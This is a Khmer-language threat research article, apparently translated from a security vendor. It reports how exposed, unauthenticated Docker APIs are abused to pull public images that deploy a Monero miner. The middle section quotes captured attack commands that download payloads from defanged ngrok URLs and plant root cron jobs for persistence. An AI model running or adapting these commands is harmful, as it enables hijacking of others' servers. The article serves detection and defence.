αžšαž”αŸ€αž”αžŠαŸ‚αž› Docker API αž˜αž·αž“αž˜αŸ‚αž“αž‡αžΆαž€αž˜αŸ’αž˜αžŸαž·αž‘αŸ’αž’αž· αž“αž·αž„αžšαžΌαž”αž—αžΆαž–αžŸαžΆαž’αžΆαžšαžŽαŸˆαž–αžΈαžŸαž αž‚αž˜αž“αŸαž€αŸ†αž–αž»αž„αžαŸ’αžšαžΌαžœαž”αžΆαž“αž”αŸ’αžšαžΎαž”αŸ’αžšαžΆαžŸαŸ‹αžŠαžΎαž˜αŸ’αž”αžΈαž…αŸ‚αž€αž…αžΆαž™αž’αŸ’αž“αž€αžšαž»αž€αžšαž€αžšαžΌαž”αž·αž™αž”αŸαžŽαŸ’αžŽαž‚αŸ’αžšαžΈαž”αžαžΌ

αžšαž”αŸ€αž”αžŠαŸ‚αž› Docker API αž˜αž·αž“αž˜αŸ‚αž“αž‡αžΆαž€αž˜αŸ’αž˜αžŸαž·αž‘αŸ’αž’αž· αž“αž·αž„αžšαžΌαž”αž—αžΆαž–αžŸαžΆαž’αžΆαžšαžŽαŸˆαž–αžΈαžŸαž αž‚αž˜αž“αŸαž€αŸ†αž–αž»αž„αžαŸ’αžšαžΌαžœαž”αžΆαž“αž”αŸ’αžšαžΎαž”αŸ’αžšαžΆαžŸαŸ‹αžŠαžΎαž˜αŸ’αž”αžΈαž…αŸ‚αž€αž…αžΆαž™αž’αŸ’αž“αž€αžšαž»αž€αžšαž€αžšαžΌαž”αž·αž™αž”αŸαžŽαŸ’αžŽαž‚αŸ’αžšαžΈαž”αžαžΌ

αž™αžΎαž„αž”αžΆαž“αžœαž·αž—αžΆαž‚αž‘αž·αž“αŸ’αž“αž“αŸαž™αžŠαŸ‚αž›αž”αŸ’αžšαž˜αžΌαž›αž”αžΆαž“αžŠαŸ„αž™αž”αŸ’αžšαžΎαž’αž»αž„αž‘αžΉαž€αžƒαŸ’αž˜αž»αŸ† αžŠαŸ‚αž›αž™αžΎαž„αž”αžΆαž“αž”αž„αŸ’αž€αžΎαžαžŠαžΎαž˜αŸ’αž”αžΈαžαžΆαž˜αžŠαžΆαž“αž€αžΆαžšαž‚αŸ†αžšαžΆαž˜αž€αŸ†αž αŸ‚αž„αŸ” αž αžΎαž™αž™αžΎαž„αž”αžΆαž“αžšαž€αžƒαžΎαž‰αžŸαž€αž˜αŸ’αž˜αž—αžΆαž–αžŸαŸ†αžαžΆαž“αŸ‹αŸ—αž–αžΈαž’αŸ’αž“αž€αžšαž»αž€αžšαž€αžšαžΌαž”αž·αž™αž”αŸαžŽαŸ’αžŽαž‚αŸ’αžšαžΈαž”αžαžΌαžŠαŸ‚αž›αž˜αž·αž“αž…αž„αŸ‹αž”αžΆαž“ αž¬αž‚αŸ’αž˜αžΆαž“αž€αžΆαžšαž’αž“αž»αž‰αŸ’αž‰αžΆαž αžŠαŸ‚αž›αžαŸ’αžšαžΌαžœαž”αžΆαž“αžŠαžΆαž€αŸ‹αž–αž„αŸ’αžšαžΆαž™αž‡αžΆαž’αž»αž„αž”αž‰αŸ’αž†αŸ„αžαž‘αžΆαŸ†αž„αž‘αžΆαž™ αžŠαŸ„αž™αž”αŸ’αžšαžΎαžšαžΌαž”αž—αžΆαž–αžŠαŸ‚αž›αž”αžΆαž“αž”αŸ„αŸ‡αž–αž»αž˜αŸ’αž–αžŠαŸ„αž™αžŸαž αž‚αž˜αž“αŸαž“αŸ…αž›αžΎ Docker Hub αŸ” αžšαžΌαž”αž—αžΆαž–αž“αŸαŸ‡αžαŸ’αžšαžΌαžœαž”αžΆαž“αž”αŸ’αžšαžΎαž‡αžΆαž•αŸ’αž“αŸ‚αž€αž“αŸƒαžŸαŸαžœαžΆαž€αž˜αŸ’αž˜αžŠαŸ‚αž›αž•αŸ’αžαž›αŸ‹αž“αžΌαžœαž’αŸ’αž“αž€αžšαž»αž€αžšαž€αžšαžΌαž”αž·αž™αž”αžŽαŸ’αžŽαžšαžΌαž”αž·αž™αž”αŸαžŽαŸ’αžŽαžŠαŸ‚αž›αž˜αžΆαž“αž‚αŸ†αž“αž·αžαž’αžΆαž€αŸ’αžšαž€αŸ‹αŸ”

αž›αžΎαžŸαž–αžΈαž“αŸαŸ‡αž‘αŸ€αžαž€αž˜αŸ’αž˜αžœαž·αž’αžΈαžŸαž˜αŸ’αžšαžΆαž”αŸ‹αž’αŸ’αžœαžΎαž€αžΆαžšαž‡αžΆαž˜αž½αž™αž”αžŽαŸ’αžαžΆαž‰αžαŸ’αžšαžΌαžœαž”αžΆαž“αžŠαŸ†αž‘αžΎαž„αžŠαžΎαž˜αŸ’αž”αžΈαž‡αŸ’αžšαžΆαž”αž…αžΌαž›αž‘αŸ…αž€αŸ’αž“αž»αž„αž€αž»αž„αžαžΊαž“αŸαžšαžŠαŸ‚αž›αž“αŸ…αž‡αž·αžαžαžΆαž„αž“αž·αž„αž€αž˜αŸ’αž˜αžœαž·αž’αžΈαŸ”

αž™αžΎαž„αž‘αž»αž€αž€αž“αŸ’αž›αŸ‚αž„αž€αŸ’αžšαŸαž”αž‘αžΉαž€αžƒαŸ’αž˜αž»αŸ†αžšαž”αžŸαŸ‹αž™αžΎαž„αžŠαžΌαž…αžŠαžΎαž˜ αž–αŸ„αž›αž‚αžΊαž‡αžΆαž˜αž½αž™αž“αžΉαž„αž€αžΆαžšαž€αŸ†αžŽαžαŸ‹αž›αŸ†αž“αžΆαŸ†αžŠαžΎαž˜ αžŠαŸ„αž™αž‚αŸ’αž˜αžΆαž“αžœαž·αž’αžΆαž“αž€αžΆαžšαžŸαž»αžœαžαŸ’αžαž·αž—αžΆαž–αžŽαžΆαž˜αž½αž™ αž¬αž€αžΆαžšαžŠαŸ†αž‘αžΎαž„αž€αž˜αŸ’αž˜αžœαž·αž’αžΈαž”αž“αŸ’αžαŸ‚αž˜αž‡αžΆαž”αž“αŸ’αžαž”αž“αŸ’αž‘αžΆαž”αŸ‹αŸ” αžŸαžΌαž˜αž…αŸ†αžŽαžΆαŸ†αžαžΆ Docker αž˜αžΆαž“αž€αžΆαžšαžŽαŸ‚αž“αžΆαŸ†αžŸαž˜αŸ’αžšαžΆαž”αŸ‹αž€αžΆαžšαžŠαŸ†αž‘αžΎαž„αžŠαŸ†αž”αžΌαž„ αžŠαžΎαž˜αŸ’αž”αžΈαž‡αŸ€αžŸαžœαžΆαž„αž€αŸ†αž αž»αžŸαž†αŸ’αž‚αž„ αž“αž·αž„αž—αžΆαž–αž„αžΆαž™αžšαž„αž‚αŸ’αžšαŸ„αŸ‡αžŸαžΆαž˜αž‰αŸ’αž‰αŸ” αž”αŸ‰αž»αž“αŸ’αžαŸ‚ Honeypots αžŠαŸ‚αž›αžαŸ’αžšαžΌαžœαž”αžΆαž“αž”αŸ’αžšαžΎαž”αŸ’αžšαžΆαžŸαŸ‹αž‚αžΊαž‡αžΆαž’αž»αž„αžŠαŸ‚αž›αžαŸ’αžšαžΌαžœαž”αžΆαž“αžšαž…αž“αžΆαž‘αžΎαž„αžŠαžΎαž˜αŸ’αž”αžΈαžŸαŸ’αžœαŸ‚αž„αžšαž€αž€αžΆαžšαžœαžΆαž™αž”αŸ’αžšαž αžΆαžšαžŠαŸ‚αž›αž˜αžΆαž“αž‚αŸ„αž›αž”αŸ†αžŽαž„αž‘αŸ…αž€αžΆαž“αŸ‹αž€αž“αŸ’αž›αŸ‚αž„αžŠαžΆαž€αŸ‹αž€αž»αž„αžαžΊαž“αŸαžš αž˜αž·αž“αž˜αŸ‚αž“αž‡αžΆαž€αž˜αŸ’αž˜αžœαž·αž’αžΈαž“αŸ…αžαžΆαž„αž€αŸ’αž“αž»αž„αž’αž»αž„αž“αŸ„αŸ‡αž‘αŸαŸ”

αžŸαž€αž˜αŸ’αž˜αž—αžΆαž–αž–αŸ’αž™αžΆαž”αžΆαž‘αžŠαŸ‚αž›αž”αžΆαž“αžšαž€αžƒαžΎαž‰αž€αŸαž‚αž½αžšαž±αŸ’αž™αž€αžαŸ‹αžŸαž˜αŸ’αž‚αžΆαž›αŸ‹αž•αž„αžŠαŸ‚αžš αž–αŸ’αžšαŸ„αŸ‡αžœαžΆαž˜αž·αž“αžαŸ’αžšαžΌαžœαž€αžΆαžšαž—αžΆαž–αž„αžΆαž™αžšαž„αž‚αŸ’αžšαŸ„αŸ‡ αž“αž·αž„αž―αž€αžšαžΆαž‡αŸ’αž™αž–αžΈαž€αŸ†αžŽαŸ‚ Docker αž•αž„αžŠαŸ‚αžšαŸ” αž€αžΆαžšαžŸαŸ’αžœαŸ‚αž„αžšαž€αž€αžΆαžšαž€αŸ†αžŽαžαŸ‹αžšαž…αž“αžΆαžŸαž˜αŸ’αž–αŸαž“αŸ’αž’αž˜αž·αž“αžαŸ’αžšαžΉαž˜αžαŸ’αžšαžΌαžœ αž αžΎαž™αžŠαžΌαž…αŸ’αž“αŸαŸ‡αž”αžΎαž€ αžšαžΌαž”αž—αžΆαž–αž€αž»αž„αžαžΊαž“αŸαžš αž‚αžΊαž‡αžΆαž’αŸ’αžœαžΈαžŠαŸ‚αž›αž’αŸ’αž“αž€αžœαžΆαž™αž”αŸ’αžšαž αžΆαžšαžαŸ’αžšαžΌαžœαž†αŸ’αž›αž„αž˜αŸαžšαŸ„αž‚αž›αžΎαž˜αŸ‰αžΆαžŸαŸŠαžΈαž“αž˜αŸαž‡αžΆαž…αŸ’αžšαžΎαž“αžŠαŸ‚αž›αž”αžΎαž€αŸ”

Docker API αžŠαŸ‚αž›αž˜αž·αž“αž”αžΆαž“αž”αž·αž‘αž’αž“αž»αž‰αŸ’αž‰αžΆαžαž±αŸ’αž™αž’αŸ’αž“αž€αž”αŸ’αžšαžΎαž”αŸ’αžšαžΆαžŸαŸ‹αž’αž“αž»αžœαžαŸ’αžαž‡αž½αžšαžŠαŸαž’αŸ†αž‘αžΌαž›αžΆαž™αž˜αž½αž™αŸ” αž€αŸ’αžšαž»αž˜αžšαž½αž˜αž‘αžΆαŸ†αž„αž€αžΆαžšαž‘αž‘αž½αž›αž”αžΆαž“αž”αž‰αŸ’αž‡αžΈαž€αž»αž„αžαžΊαž“αŸαžšαžŠαŸ‚αž›αž€αŸ†αž–αž»αž„αžŠαŸ†αžŽαžΎαžšαž€αžΆαžš αž€αžΆαžšαž‘αž‘αž½αž›αž€αŸ†αžŽαžαŸ‹αž αŸαžαž»αž–αžΈαž€αž»αž„αžαžΊαž“αŸαžšαž‡αžΆαž€αŸ‹αž›αžΆαž€αŸ‹αž˜αž½αž™ αž€αžΆαžšαž…αžΆαž”αŸ‹αž•αŸ’αžαžΎαž˜ αž”αž‰αŸ’αžˆαž”αŸ‹ (αžšαž½αž˜αž‘αžΆαŸ†αž„αž€αžΆαžšαž”αž„αŸ’αžαŸ†) αž“αž·αž„αžŸαžΌαž˜αŸ’αž”αžΈαžαŸ‚αž€αžΆαžšαž”αž„αŸ’αž€αžΎαžαž€αž»αž„αžαžΊαž“αŸαžšαžαŸ’αž˜αžΈαž–αžΈαžšαžΌαž”αž—αžΆαž–αž‡αžΆαž€αŸ‹αž›αžΆαž€αŸ‹αž˜αž½αž™αžŠαŸ‚αž›αž˜αžΆαž“αž€αžΆαžšαž€αŸ†αžŽαžαŸ‹αž‡αžΆαž€αŸ‹αž›αžΆαž€αŸ‹αŸ”

αžšαž”αŸ€αž”αžŠαŸ‚αž› Docker API αž˜αž·αž“αž˜αŸ‚αž“αž‡αžΆαž€αž˜αŸ’αž˜αžŸαž·αž‘αŸ’αž’αž· αž“αž·αž„αžšαžΌαž”αž—αžΆαž–αžŸαžΆαž’αžΆαžšαžŽαŸˆαž–αžΈαžŸαž αž‚αž˜αž“αŸαž€αŸ†αž–αž»αž„αžαŸ’αžšαžΌαžœαž”αžΆαž“αž”αŸ’αžšαžΎαž”αŸ’αžšαžΆαžŸαŸ‹αžŠαžΎαž˜αŸ’αž”αžΈαž…αŸ‚αž€αž…αžΆαž™αž’αŸ’αž“αž€αžšαž»αž€αžšαž€αžšαžΌαž”αž·αž™αž”αŸαžŽαŸ’αžŽαž‚αŸ’αžšαžΈαž”αžαžΌ
αž“αŸ…αžαžΆαž„αž†αŸ’αžœαŸαž„αž‚αžΊαž‡αžΆαžœαž·αž’αžΈαž…αŸ‚αž€αž…αžΆαž™αž˜αŸαžšαŸ„αž‚αŸ” αž“αŸ…αžαžΆαž„αžŸαŸ’αžαžΆαŸ†αž‚αžΊαž‡αžΆαž”αžšαž·αžŸαŸ’αžαžΆαž“αžšαž”αžŸαŸ‹αž’αŸ’αž“αž€αžœαžΆαž™αž”αŸ’αžšαž αžΆαžš αžŠαŸ‚αž›αž’αž“αž»αž‰αŸ’αž‰αžΆαžαž²αŸ’αž™αž”αž‰αŸ’αž…αŸαž‰αžšαžΌαž”αž—αžΆαž–αž–αžΈαž…αž˜αŸ’αž„αžΆαž™αŸ”

αžšαž”αŸ€αž”αžŠαŸ‚αž› Docker API αž˜αž·αž“αž˜αŸ‚αž“αž‡αžΆαž€αž˜αŸ’αž˜αžŸαž·αž‘αŸ’αž’αž· αž“αž·αž„αžšαžΌαž”αž—αžΆαž–αžŸαžΆαž’αžΆαžšαžŽαŸˆαž–αžΈαžŸαž αž‚αž˜αž“αŸαž€αŸ†αž–αž»αž„αžαŸ’αžšαžΌαžœαž”αžΆαž“αž”αŸ’αžšαžΎαž”αŸ’αžšαžΆαžŸαŸ‹αžŠαžΎαž˜αŸ’αž”αžΈαž…αŸ‚αž€αž…αžΆαž™αž’αŸ’αž“αž€αžšαž»αž€αžšαž€αžšαžΌαž”αž·αž™αž”αŸαžŽαŸ’αžŽαž‚αŸ’αžšαžΈαž”αžαžΌ
αž€αžΆαžšαž…αŸ‚αž€αž…αžΆαž™αžαžΆαž˜αž”αŸ’αžšαž‘αŸαžŸαž“αŸƒ 3762 αž”αžΎαž€ Docker APIs αŸ” αž•αŸ’αž’αŸ‚αž€αž›αžΎαž€αžΆαžšαžŸαŸ’αžœαŸ‚αž„αžšαž€ Shodan αž…αž»αŸ‡αžαŸ’αž„αŸƒαž‘αžΈ 12.02.2019/XNUMX/XNUMX

αžαŸ’αžŸαŸ‚αžŸαž„αŸ’αžœαžΆαž€αŸ‹αžœαžΆαž™αž”αŸ’αžšαž αžΆαžš αž“αž·αž„αž‡αž˜αŸ’αžšαžΎαžŸαž”αž“αŸ’αž‘αž»αž€

αžŸαž€αž˜αŸ’αž˜αž—αžΆαž–αž–αŸ’αž™αžΆαž”αžΆαž‘αžαŸ’αžšαžΌαžœαž”αžΆαž“αžšαž€αžƒαžΎαž‰αž˜αž·αž“αžαŸ’αžšαžΉαž˜αžαŸ‚αžŠαŸ„αž™αž˜αžΆαž“αž‡αŸ†αž“αž½αž™αž–αžΈαž€αŸ’αžšαŸαž”αž‘αžΉαž€αžƒαŸ’αž˜αž»αŸ†αž”αŸ‰αž»αžŽαŸ’αžŽαŸ„αŸ‡αž‘αŸαŸ” αž‘αž·αž“αŸ’αž“αž“αŸαž™αž–αžΈ Shodan αž”αž„αŸ’αž αžΆαž‰αžαžΆαž…αŸ†αž“αž½αž“ Docker APIs αžŠαŸ‚αž›αžαŸ’αžšαžΌαžœαž”αžΆαž“αž›αžΆαžαžαŸ’αžšαžŠαžΆαž„ (αžŸαžΌαž˜αž˜αžΎαž›αž€αŸ’αžšαžΆαž αŸ’αžœαž‘αžΈαž–αžΈαžš) αž”αžΆαž“αž€αžΎαž“αž‘αžΎαž„αž…αžΆαž”αŸ‹αžαžΆαŸ†αž„αž–αžΈαž™αžΎαž„αž”αžΆαž“αžŸαŸŠαžΎαž”αž’αž„αŸ’αž€αŸαžαž€αž»αž„αžαžΊαž“αŸαžšαžŠαŸ‚αž›αž”αžΆαž“αž€αŸ†αžŽαžαŸ‹αžšαž…αž“αžΆαžŸαž˜αŸ’αž–αŸαž“αŸ’αž’αž˜αž·αž“αžαŸ’αžšαžΉαž˜αžαŸ’αžšαžΌαžœαžŠαŸ‚αž›αžαŸ’αžšαžΌαžœαž”αžΆαž“αž”αŸ’αžšαžΎαž‡αžΆαžŸαŸ’αž–αžΆαž“αžŠαžΎαž˜αŸ’αž”αžΈαžŠαžΆαž€αŸ‹αž±αŸ’αž™αž”αŸ’αžšαžΎαž”αŸ’αžšαžΆαžŸαŸ‹αž€αž˜αŸ’αž˜αžœαž·αž’αžΈαžšαž»αž€αžšαž€αžšαŸ‰αŸ‚αžšαžΌαž”αž·αž™αž”αŸαžŽαŸ’αžŽ Monero αŸ” αž“αŸ…αžαŸ‚αžαž»αž›αžΆαž†αŸ’αž“αžΆαŸ†αž˜αž»αž“ (2018 αž‘αž·αž“αŸ’αž“αž“αŸαž™αž”αž…αŸ’αž…αž»αž”αŸ’αž”αž“αŸ’αž“ αž’αŸ’αž“αž€αž’αžΆαž…αž˜αžΎαž›αž‘αŸ…αžŠαžΌαž…αž“αŸαŸ‡ αž”αŸ’αžšαž αŸ‚αž› αž’αŸ’αž“αž€αž”αž€αž”αŸ’αžšαŸ‚) αž˜αžΆαž“ APIs αž”αžΎαž€ 856 αž”αŸ‰αž»αžŽαŸ’αžŽαŸ„αŸ‡αŸ”

αž€αžΆαžšαž–αž·αž“αž·αžαŸ’αž™αž›αžΎαž€αŸ†αžŽαžαŸ‹αž αŸαžαž» Honeypot αž”αžΆαž“αž”αž„αŸ’αž αžΆαž‰αžαžΆαž€αžΆαžšαž”αŸ’αžšαžΎαž”αŸ’αžšαžΆαžŸαŸ‹αžšαžΌαž”αž—αžΆαž–αž€αž»αž„αžαžΊαž“αŸαžšαž€αŸαžαŸ’αžšαžΌαžœαž”αžΆαž“αž•αŸ’αžŸαžΆαžšαž—αŸ’αž‡αžΆαž”αŸ‹αž‡αžΆαž˜αž½αž™αž“αžΉαž„αž€αžΆαžšαž”αŸ’αžšαžΎαž”αŸ’αžšαžΆαžŸαŸ‹αž•αž„αžŠαŸ‚αžšαŸ” αž„αŸ‰αž»αž€αž‡αžΆαž§αž”αž€αžšαžŽαŸαžŸαž˜αŸ’αžšαžΆαž”αŸ‹αž”αž„αŸ’αž€αžΎαžαž€αžΆαžšαžαž—αŸ’αž‡αžΆαž”αŸ‹αžŸαž»αžœαžαŸ’αžαž·αž—αžΆαž– αž¬αž€αžΆαžšαž”αž‰αŸ’αž‡αžΌαž“αž”αž“αŸ’αžαž…αžšαžΆαž…αžšαžŽαŸαž–αžΈαž…αŸ†αžŽαž»αž…αžŠαŸ‚αž›αž’αžΆαž…αž…αžΌαž›αžŠαŸ†αžŽαžΎαžšαž€αžΆαžšαž”αžΆαž“αž‡αžΆαžŸαžΆαž’αžΆαžšαžŽαŸˆαž‘αŸ…αž€αžΆαž“αŸ‹αž’αžΆαžŸαž™αžŠαŸ’αž‹αžΆαž“ αž¬αž’αž“αž’αžΆαž“αžŠαŸ‚αž›αž”αžΆαž“αž”αž‰αŸ’αž‡αžΆαž€αŸ‹ (αž§αž‘αžΆαž αžšαžŽαŸ localhost)αŸ” αž“αŸαŸ‡αž’αž“αž»αž‰αŸ’αž‰αžΆαžαž±αŸ’αž™αž’αŸ’αž“αž€αžœαžΆαž™αž”αŸ’αžšαž αžΆαžšαž”αž„αŸ’αž€αžΎαž URLs αžαžΆαž˜αžœαž“αŸ’αžαž“αŸ…αž–αŸαž›αž”αž‰αŸ’αž‡αžΌαž“αž”αž“αŸ’αž‘αž»αž€αž‘αŸ…αž˜αŸ‰αžΆαžŸαŸŠαžΈαž“αž˜αŸαžŠαŸ‚αž›αž”αžΎαž€αŸ” αžαžΆαž„β€‹αž€αŸ’αžšαŸ„αž˜β€‹αž“αŸαŸ‡β€‹αž‚αžΊβ€‹αž‡αžΆβ€‹αž§αž‘αžΆαž αžšαžŽαŸβ€‹αž€αžΌαžŠβ€‹αž–αžΈβ€‹αž€αŸ†αžŽαžαŸ‹β€‹αž αŸαžαž»β€‹αžŠαŸ‚αž›β€‹αž”αž„αŸ’αž αžΆαž‰β€‹αž€αžΆαžšβ€‹αž”αŸ†αž–αžΆαž“β€‹αžŸαŸαžœαžΆ ngrokαŸ–

Tty: false
Command: β€œ-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: β€œ/bin/sh”

Tty: false,
Command: β€œ-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: β€œ/bin/sh”

Tty: false,
Command: β€œ-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: β€œ/bin/sh”,

Tty: false,
Cmd: β€œ-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: β€œ/bin/sh”

αžŠαžΌαž…αžŠαŸ‚αž›αž’αŸ’αž“αž€αž’αžΆαž…αžƒαžΎαž‰ αž―αž€αžŸαžΆαžšαžŠαŸ‚αž›αž”αžΆαž“αž•αŸ’αž‘αž»αž€αž‘αžΎαž„αžαŸ’αžšαžΌαžœαž”αžΆαž“αž‘αžΆαž‰αž™αž€αž–αžΈ URLs αžŠαŸ‚αž›αž•αŸ’αž›αžΆαžŸαŸ‹αž”αŸ’αžαžΌαžšαž‡αžΆαž“αž·αž…αŸ’αž…αŸ” URL αž‘αžΆαŸ†αž„αž“αŸαŸ‡αž˜αžΆαž“αž€αžΆαž›αž”αžšαž·αž…αŸ’αž†αŸαž‘αž•αž»αžαž€αŸ†αžŽαžαŸ‹αžαŸ’αž›αžΈ αžŠαžΌαž…αŸ’αž“αŸαŸ‡αž”αž“αŸ’αž‘αž»αž€αž˜αž·αž“αž’αžΆαž…αž‘αžΆαž‰αž™αž€αž”αžΆαž“αž‘αŸαž”αž“αŸ’αž‘αžΆαž”αŸ‹αž–αžΈαž€αžΆαž›αž”αžšαž·αž…αŸ’αž†αŸαž‘αž•αž»αžαž€αŸ†αžŽαžαŸ‹αŸ”

αž˜αžΆαž“αž‡αž˜αŸ’αžšαžΎαžŸαž•αŸ’αž‘αž»αž€αž–αžΈαžšαŸ” αž‘αžΈαž˜αž½αž™αž‚αžΊαž‡αžΆαž’αŸ’αž“αž€αž‡αžΈαž€αžšαŸ‰αŸ‚ ELF αžŠαŸ‚αž›αž”αžΆαž“αž…αž„αž€αŸ’αžšαž„αžŸαž˜αŸ’αžšαžΆαž”αŸ‹αž›αžΈαž“αž»αž… (αž€αŸ†αžŽαžαŸ‹αžαžΆαž‡αžΆ Coinminer.SH.MALXMR.ATNO) αžŠαŸ‚αž›αž—αŸ’αž‡αžΆαž”αŸ‹αž‘αŸ…αž’αžΆαž„αž‡αžΈαž€αžšαŸ‰αŸ‚αŸ” αž‘αžΈαž–αžΈαžšαž‚αžΊαž‡αžΆαžŸαŸ’αž‚αŸ’αžšαžΈαž” (TrojanSpy.SH.ZNETMAP.A) αžŠαŸ‚αž›αžαŸ’αžšαžΌαžœαž”αžΆαž“αžšαž…αž“αžΆαž‘αžΎαž„αžŠαžΎαž˜αŸ’αž”αžΈαž‘αž‘αž½αž›αž”αžΆαž“αž§αž”αž€αžšαžŽαŸαž”αžŽαŸ’αžαžΆαž‰αž‡αžΆαž€αŸ‹αž›αžΆαž€αŸ‹αžŠαŸ‚αž›αž”αŸ’αžšαžΎαžŠαžΎαž˜αŸ’αž”αžΈαžŸαŸ’αž€αŸαž“αž‡αž½αžšαž”αžŽαŸ’αžαžΆαž‰ αž αžΎαž™αž”αž“αŸ’αž‘αžΆαž”αŸ‹αž˜αž€αžŸαŸ’αžœαŸ‚αž„αžšαž€αž‚αŸ„αž›αžŠαŸ…αžαŸ’αž˜αžΈαŸ”

αžŸαŸ’αž‚αŸ’αžšαžΈαž” dropper αž€αŸ†αžŽαžαŸ‹αž’αžαŸαžšαž–αžΈαžšαžŠαŸ‚αž›αž”αž“αŸ’αž‘αžΆαž”αŸ‹αž˜αž€αžαŸ’αžšαžΌαžœαž”αžΆαž“αž”αŸ’αžšαžΎαžŠαžΎαž˜αŸ’αž”αžΈαžŠαžΆαž€αŸ‹αž–αž„αŸ’αžšαžΆαž™ cryptocurrency miner αŸ” ធថេរ HOST αž˜αžΆαž“ URL αžŠαŸ‚αž›αž―αž€αžŸαžΆαžšαž–αŸ’αž™αžΆαž”αžΆαž‘αž˜αžΆαž“αž‘αžΈαžαžΆαŸ†αž„αž“αŸ… αž αžΎαž™αž’αžαŸαžš RIP αž‚αžΊαž‡αžΆαžˆαŸ’αž˜αŸ„αŸ‡αž―αž€αžŸαžΆαžš (αžαžΆαž˜αž–αž·αž αžŸαž‰αŸ’αž‰αžΆ) αžšαž”αžŸαŸ‹αž’αŸ’αž“αž€αžšαž»αž€αžšαž€αžšαŸ‰αŸ‚αžŠαŸ‚αž›αžαŸ’αžšαžΌαžœαžŠαžΆαž€αŸ‹αž–αž„αŸ’αžšαžΆαž™αŸ” ធថេរ HOST αž•αŸ’αž›αžΆαžŸαŸ‹αž”αŸ’αžαžΌαžšαžšαžΆαž›αŸ‹αž–αŸαž›αžŠαŸ‚αž›αž’αžαŸαžš hash αž•αŸ’αž›αžΆαžŸαŸ‹αž”αŸ’αžαžΌαžšαŸ” αžŸαŸ’αž‚αŸ’αžšαžΈαž”αž€αŸαž–αŸ’αž™αžΆαž™αžΆαž˜αž–αž·αž“αž·αžαŸ’αž™αž˜αžΎαž›αžαžΆαž‚αŸ’αž˜αžΆαž“αž’αŸ’αž“αž€αžšαž»αž€αžšαž€αžšαžΌαž”αž·αž™αž”αŸαžŽαŸ’αžŽαž‚αŸ’αžšαžΈαž”αžαžΌαž•αŸ’αžŸαŸαž„αž‘αŸ€αžαž€αŸ†αž–αž»αž„αžŠαŸ†αžŽαžΎαžšαž€αžΆαžšαž“αŸ…αž›αžΎαž˜αŸ‰αžΆαžŸαŸŠαžΈαž“αž˜αŸαžŠαŸ‚αž›αžαŸ’αžšαžΌαžœαž”αžΆαž“αžœαžΆαž™αž”αŸ’αžšαž αžΆαžšαž“αŸ„αŸ‡αž‘αŸαŸ”

αžšαž”αŸ€αž”αžŠαŸ‚αž› Docker API αž˜αž·αž“αž˜αŸ‚αž“αž‡αžΆαž€αž˜αŸ’αž˜αžŸαž·αž‘αŸ’αž’αž· αž“αž·αž„αžšαžΌαž”αž—αžΆαž–αžŸαžΆαž’αžΆαžšαžŽαŸˆαž–αžΈαžŸαž αž‚αž˜αž“αŸαž€αŸ†αž–αž»αž„αžαŸ’αžšαžΌαžœαž”αžΆαž“αž”αŸ’αžšαžΎαž”αŸ’αžšαžΆαžŸαŸ‹αžŠαžΎαž˜αŸ’αž”αžΈαž…αŸ‚αž€αž…αžΆαž™αž’αŸ’αž“αž€αžšαž»αž€αžšαž€αžšαžΌαž”αž·αž™αž”αŸαžŽαŸ’αžŽαž‚αŸ’αžšαžΈαž”αžαžΌ
αž§αž‘αžΆαž αžšαžŽαŸαž“αŸƒαž’αžαŸαžš HOST αž“αž·αž„ RIP αž€αŸαžŠαžΌαž…αž‡αžΆαž–αŸαžαŸŒαž˜αžΆαž“αžŸαž„αŸ’αžαŸαž”αž“αŸƒαž€αžΌαžŠαžŠαŸ‚αž›αž”αŸ’αžšαžΎαžŠαžΎαž˜αŸ’αž”αžΈαž–αž·αž“αž·αžαŸ’αž™αž˜αžΎαž›αžαžΆαž‚αŸ’αž˜αžΆαž“αž’αŸ’αž“αž€αžšαž»αž€αžšαž€αžšαŸ‰αŸ‚αž•αŸ’αžŸαŸαž„αž‘αŸ€αžαž€αŸ†αž–αž»αž„αžŠαŸ†αžŽαžΎαžšαž€αžΆαžšαž‘αŸ

